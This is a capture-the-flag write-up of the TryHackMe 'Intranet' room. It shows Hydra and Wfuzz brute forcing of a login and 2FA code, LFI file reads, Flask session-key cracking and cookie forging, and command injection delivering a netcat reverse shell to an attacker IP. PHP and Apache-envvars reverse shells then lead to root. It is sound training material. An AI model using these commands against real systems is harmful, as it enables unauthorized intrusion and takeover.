> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2023/intranet.md).

# Intranet

{% embed url="<https://tryhackme.com/room/securesolacodersintra>" %}

## Recon

Running a nmap scan reveals six open ports: an echo service on port 7, ftp running on port 21, ssh running on 22, a telnet service on port 23, and two web applications on ports 80 and 8080.

<figure><img src="/files/xaJ1kUmbZBM4bhQoNLAO" alt=""><figcaption></figcaption></figure>

Visiting the web application on port 80, we are prompted with a message that the site is under construction. Further investigations via `Gobuster` did not lead to any interesting material.

<figure><img src="/files/MSyTJ5Wgrsd3J4A9EoQI" alt=""><figcaption></figcaption></figure>

Next, running `Gobuster` on the site on port 8080, we'll find some directories, but all are redirected to the `login` page.&#x20;

<figure><img src="/files/gay9xSSXkNYzJWEFl1HP" alt=""><figcaption></figcaption></figure>

## Flag 1: Web Application - Login Page

On the login page, we need a valid email address as a username and a password to get any further.&#x20;

<figure><img src="/files/OKGsrZfzJ9ogq9QK339S" alt=""><figcaption></figcaption></figure>

Looking at the source code, we are able to get two usernames:&#x20;

`devops@securesolacoders.no`

`anders@securesolacoders.no`

<figure><img src="/files/uZNxJgfybrDOUYE8KIgG" alt=""><figcaption></figcaption></figure>

Trying to use the user `magnus`, the boss of the company, who was mentioned in the room description, we get an error message that the user is invalid.

<figure><img src="/files/UVMTg9uFRUB0MaokDIlj" alt=""><figcaption></figcaption></figure>

Next, we try to log in with a random password with the two found usernames and the wild guess of `admin@securesolacoders.no`. All three logins seem to be valid, like the error message states, the given password is invalid.

<figure><img src="/files/2HuKZuZcQOA1rEwqCkko" alt=""><figcaption></figcaption></figure>

With the found information, it's possible to craft a `users.txt,`and a password `base.txt`, which will then be used to generate wordlists, to brute force the login page.

{% code title="users.txt" %}

```
anders@securesolacoders.no
devops@securesolacoders.no
admin@securesolacoders.no
```

{% endcode %}

{% code title="base.txt" %}

```
anders
devops
securesolacoders
ssc
sr
senior
developer
```

{% endcode %}

For convenience, a hostname is used  for the IP of the machine in the `/etc/hosts` file.

Add `10.10.211.106    securesolacoders.no` to `/etc/hosts`

To mangle the passwords, a simple `John` rule is configured. Appending some numbers to the possible passwords and having a combination of a password with a number and a special character.

```
[List.Rules:TryHackMe-Intranet]
Az"[0-9]"
Az"[0-9][0-9]"
Az"[0-9][0-9][0-9]"
Az"[0-9][0-9][0-9][0-9]"
Az"[0-9]" $[!$§$%/()=?*@]
```

<figure><img src="/files/siJASCleRoidbiZWX06A" alt=""><figcaption><p>john.conf</p></figcaption></figure>

With the created rule, generate a wordlist from `base.txt`

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ john -wordlist:base.txt -rules:TryHackMe-Intranet -stdout > wordlist.txt   
```

<figure><img src="/files/ljmpAhkpbhDVpJoeoVSx" alt=""><figcaption></figcaption></figure>

Running Hydra to brute force the login page.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ hydra -L users.txt -P wordlist.txt securesolacoders.no -s 8080 http-post-form "/login:username=^USER^&password=^PASS^:Error"
```

After several minutes, we are able to retrieve a password.

<figure><img src="/files/1CJ5A7Vu6oubG6Eg5Upb" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
To generate a wordlist, that takes less time, the results of this generator can be used:

<https://zzzteph.github.io/weakpass/generator/>
{% endhint %}

With the found credentials we are able to log in.

<figure><img src="/files/mvnELTL1vXq0YPTuD34I" alt=""><figcaption></figcaption></figure>

After logging in, we are able to retrieve the first flag and are immediately greeted with the next challenge. A verification code is required to enter a `2FA` code.

<figure><img src="/files/xBmMMrQRMkb27U8LisRt" alt=""><figcaption></figcaption></figure>

## Flag 2: Web Application - 2FA

Looking at the source, you get confirmation that only 4 characters are needed, as indicated in the input field.

<figure><img src="/files/NbRE0epPdAqBQB6hsNuC" alt=""><figcaption></figcaption></figure>

To keep it simple, we'll just use digits for now and use crunch to generate the wordilst.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ crunch 4 4 0123456789 -o 4-digits.txt
```

<figure><img src="/files/fXS6bnjDSICWVFGM8pB7" alt=""><figcaption></figcaption></figure>

To be able to reach the `/sms` page with tools, the session must be possessed.

We just extract the `jwt` session cookie and pass it to the tool of our choice.

<figure><img src="/files/c0UlSJLAGJ8K20VltLlK" alt=""><figcaption></figcaption></figure>

For the purpose of brute forcing the 2FA code, we use `Wfuzz.`

<pre class="language-bash"><code class="lang-bash"><strong>┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
</strong>└─$ wfuzz -w 4-digits.txt -d "sms=FUZZ" -b session=eyJ1c2VybmFtZSI6ImFuZGVycyJ9.ZJG9DQ.NO3ly56E2-PP7n-lWHuhV8r2ozU 
securesolacoders.no:8080/sms
</code></pre>

To hide the incorrect responses, the tag `--hl 77` is used to ignore responses with a line count of 77

<figure><img src="/files/FVWZxdZTOyZZ3VvHMybH" alt=""><figcaption></figcaption></figure>

Hide response with 77 lines.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ wfuzz --hl 77 -w 4-digits.txt -d "sms=FUZZ" -b session=eyJ1c2VybmFtZSI6ImFuZGVycyJ9.ZJG9DQ.NO3ly56E2-PP7n-lWHuhV8r2ozU 
securesolacoders.no:8080/sms
```

And we get a 2FA Code in this case 4065.

<figure><img src="/files/Uc1PctMDRfFq6wUbCIkX" alt=""><figcaption></figcaption></figure>

Using the 2FA Code, we are able to log in and get the second flag.

<figure><img src="/files/21XNwudibPDMcxRb4qCY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/29CHos7lYjaBAIxDdkPO" alt=""><figcaption></figcaption></figure>

## Flag 3: Web Application - LFI

When looking through the page, the internal page with the `Update` button, which should update the news feed, stands out.

<figure><img src="/files/AhgFTPvIjidNXiIS7XTf" alt=""><figcaption></figcaption></figure>

But, there is no more news.&#x20;

<figure><img src="/files/BcqVxzBjYJpdWCKQnstl" alt=""><figcaption></figcaption></figure>

Even logged in as one of the users, we are not able to reach the admin page. We know there is a `jwt` session cookie used to stay authenticated. This might be a way to get to the admin panel in the future.

<figure><img src="/files/grwft1sZKfLGe6FxKjYe" alt=""><figcaption></figcaption></figure>

Looking further at the behavior of the update button via Burp Suite, an LFI vulnerability becomes apparent.

<figure><img src="/files/tU0QxEnZEVN9MqMAjOAR" alt=""><figcaption></figcaption></figure>

It is possible to retrieve the `/etc/passwd` file.

<figure><img src="/files/4ICGPiI8toh8Cbaebj2B" alt=""><figcaption></figcaption></figure>

The hint states, that the CMD will lead you to the source, so for the third flag, we have to get the source of the application. The CMD might be a hint on how to retrieve the file path. To check out current running processes, it's possible to read the `/proc/self/stat file`. When you access `/proc/self/stat`, you are reading the process status information for the current process.

<figure><img src="/files/M2RBwyQcUbPoFiTbWa9v" alt=""><figcaption></figcaption></figure>

From there, we are able to retrieve the PID of `669`. With `/proc/pid/cmdline` it's possible to get the command line arguments passed to a specific process with the given `pid`. And we get the running location of the flask application `/home/devops/app.py`.

<figure><img src="/files/vzwfrYsCg94B0ANQ7H16" alt=""><figcaption></figcaption></figure>

Retrieving the `app.py` via the `LFI` we are greeted with the thrid flag in the source code.

<figure><img src="/files/tNLZ0LJGeRwokwNjoGkj" alt=""><figcaption></figcaption></figure>

## Flag 4: Web Application - Flask Secret Key

In the first lines of the application `app.py` we are able to see how the `jwt` session key is generated. It's a key containing the string `secret_key_` concatenated with a random number between `100000` and `999999`. With this information we are able to generate a wordlist and crack the used password with a known `jwt` session cookie using `flask-unsing`.&#x20;

{% code title="app.py" lineNumbers="true" %}

```python
from flask import Flask, flash, redirect, render_template, request, session, abort, make_response, render_template_string, send_file
from time import gmtime, strftime
import jinja2, os, hashlib, random

app = Flask(__name__, template_folder="/home/devops/templates")


###############################################
# Flag: THM{################################} #
###############################################


key = "secret_key_" + str(random.randrange(100000,999999))
app.secret_key = str(key).encode()

```

{% endcode %}

Create the `flask_base.txt` just containing `secrect_key`

{% code title="flask\_base.txt" %}

```
secrect_key_
```

{% endcode %}

<figure><img src="/files/waADsCYfIwbIA0IgkeJD" alt=""><figcaption></figcaption></figure>

Define a John rule to append all possible numbers in the range `1000000` to `999999`.

![](/files/VBLAmlyReJjmfkLk3QTq)

```
[List.Rules:TryHackMe-Flask]
Az"[1-9][0-9][0-9][0-9][0-9][0-9]"
```

Create the wordlist `flask_wordlist.txt` using John with the custom defined rule and the `flask_base.txt`

<pre><code><strong>┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
</strong>└─$john --rules=TryHackMe-Flask -wordlist:flask_base.txt -stdout > flask_wordlist.txt
</code></pre>

Running flask-unsign to crack the secret.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ flask-unsign --unsign --wordlist flask_wordlist.txt --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYW5kZXJzIn0.ZJG_KA.K36wpghyqTOYR0izhewgfKv7wPM'
```

<figure><img src="/files/YZ6mZWvR5BoDYqh97xot" alt=""><figcaption></figcaption></figure>

In this case we get the secret `secret_key_848652`.

To create our own token first we have to check how the `jwt` session token is structured.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYW5kZXJzIn0.ZJG_KA.K36wpghyqTOYR0izhewgfKv7wPM'
```

We see that we are logged in as `anders`. With this structure, we create our own token. The first try was with `devops` a known user, but this did not work.&#x20;

<figure><img src="/files/IFb1W8ksHFwaZSoudWlM" alt=""><figcaption></figcaption></figure>

As the directory suggest it is a panel for an admin, and the admin user was also a valid user as we could see in the part of getting the first flag.

<pre><code><strong>┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
</strong>└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret_key_848652'
</code></pre>

<figure><img src="/files/lrpuYgQyyePFoUqEjFn9" alt=""><figcaption></figcaption></figure>

By creating and using this ticket, we are able to get to the `/admin` directory with the fourth flag.

<figure><img src="/files/wo7oHzqhouklUZA36ngf" alt=""><figcaption></figcaption></figure>

## Flag 5: Foothold

Looking at the source of the admin page, we see that there was a part of a form that did not get entirely deleted.

<figure><img src="/files/jDUB2eayorwdywhcHySk" alt=""><figcaption></figcaption></figure>

Again, looking at `app.py` we are able to interact with the operating system in line 10 with the os.system() call. This gets its parameters from the lost form. But we are not dependent on this form and are able to send a post request with a value for debug to create a reverse shell.&#x20;

{% code title="app.py" lineNumbers="true" %}

```python

@app.route("/admin", methods=["GET", "POST"])
def admin():
        if not session.get("logged_in"):
                return redirect("/login")
        else:
                if session.get("username") == "admin":

                        if request.method == "POST":
                                os.system(request.form["debug"])
                                return render_template("admin.html")

                        current_ip = request.remote_addr
                        current_time = strftime("%Y-%m-%d %H:%M:%S", gmtime())

                        return render_template("admin.html", current_ip=current_ip, current_time=current_time)
                else:
                        return abort(403)
```

{% endcode %}

Using `cURL`, providing the previously created admin session cookie, we plant a basic reverse shell, where we have to url-encode the `&` sign to get it to work.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ curl 'http://securesolacoders.no:8080/admin' -X POST -H 'Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.ZJHGlw.s1TmXitPQuTelv3vVJ3pOdHK4Sk' --data-raw 'debug=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.9.31.94 4445 >/tmp/f'
```

<figure><img src="/files/bOSXNy63VCy4w4NPHOcJ" alt=""><figcaption></figcaption></figure>

While having a listener set up. We are now the user `devops` and are able to retrieve the first user flag.

<figure><img src="/files/YFQPKoj9XhW6xS1sgIz4" alt=""><figcaption></figcaption></figure>

## Flag 6: Moving Lateral

Looking at the processes via `ps aux`, we see something odd. Instead of `www-data` running `apache2`, it is `anders`. This Apache web server might be the web application running on port 80 and our gate to escalate to the user `anders`.

<figure><img src="/files/bGlslRtHWHTlsgQmV8gf" alt=""><figcaption></figcaption></figure>

To confirm our assumption, we look into `/var/www/html` and find the `index.html` of the web application on port 80.

<figure><img src="/files/4uT3ZQ3DbFlKXBSPcYhq" alt=""><figcaption></figcaption></figure>

Checking out the rights of `/var/www/html` we are able to write in this folder.

<figure><img src="/files/QHNijs1MYvlE25xrTdFz" alt=""><figcaption></figcaption></figure>

For further confirmation we just create a `test.html` site and visit it.

<figure><img src="/files/gZHzHGZgEbeguqAuV56b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AN3CHe7PZKIs15blO3zH" alt=""><figcaption></figcaption></figure>

Next, we create a simple php-reverse shell provided by pentestmonkey.

{% embed url="<https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php>" %}

Changing IP address and port.

<figure><img src="/files/YUDrgkAFUfJIwadvzSlh" alt=""><figcaption></figcaption></figure>

To transfer our reverse shell we use `nc` as follows.&#x20;

{% hint style="info" %}
File transfer via nc

on the receiving end run&#x20;

`nc -l -p <PORT> > <FILENAME>`

\
to send the file&#x20;

`nc -w 3 <TARGET-IP> <PORT> < <FILENAME>`
{% endhint %}

<figure><img src="/files/CIVMGShhC5opENVAGufm" alt=""><figcaption><p>vicitm machine</p></figcaption></figure>

<figure><img src="/files/vmxVFons3MUzzqY8hkAt" alt=""><figcaption><p>attacker machine</p></figcaption></figure>

<figure><img src="/files/ILor5KOeUBxKzhPXfZVS" alt=""><figcaption><p>victim machine</p></figcaption></figure>

Setting up a listener.

<figure><img src="/files/M2vn4txh9AQqB7lSpmhZ" alt=""><figcaption></figcaption></figure>

After visiting the site `securesolacoders.no/revshell.php` we get our reverse shell and are the user `anders`.

<figure><img src="/files/kEOYi9XwUQCYpQ4h8iCl" alt=""><figcaption></figcaption></figure>

In his home directory the second user flag is located.

<figure><img src="/files/fk3GMNP7yBxePKGpUotS" alt=""><figcaption></figcaption></figure>

## Flag 7: Gaining Root

While enumerating the machine, we see that we are able to restart the `apache2` service with sudo permission.

<figure><img src="/files/x5X69biuX4BKLvtKxtJ7" alt=""><figcaption></figcaption></figure>

In `/etc/apache2` the file `envvars` is writeable by the user `anders.`

<figure><img src="/files/7Pnwi68LCBCe0ktf01LM" alt=""><figcaption></figcaption></figure>

To have a shell in which we can edit this file, we add our ssh key to the authorized\_keys file to access the machine via ssh as user `anders`.

<figure><img src="/files/ysXhOb0F84K6xVS22ncj" alt=""><figcaption></figcaption></figure>

Add the public key.

<figure><img src="/files/D1xenoyw0CrxQj4EURHL" alt=""><figcaption></figcaption></figure>

Connect as user `anders` via `ssh.`

<figure><img src="/files/yoHUKTYC6IMQPDrEZKkX" alt=""><figcaption></figcaption></figure>

Next, add a simple reverse shell to `/etc/apache2/envvars` and set up a listener.&#x20;

<figure><img src="/files/h23H027OLWQzlzZv5O1Y" alt=""><figcaption></figcaption></figure>

When restarting the server with sudo permissions, `envvars` is called ,and we get a reverse shell as user root.

<figure><img src="/files/GTw3gSWenTarau7h2G01" alt=""><figcaption></figcaption></figure>

Retrieve the final flag in `/root/`.

<figure><img src="/files/0m8W899Gh4gu3AMD3AC8" alt=""><figcaption></figcaption></figure>
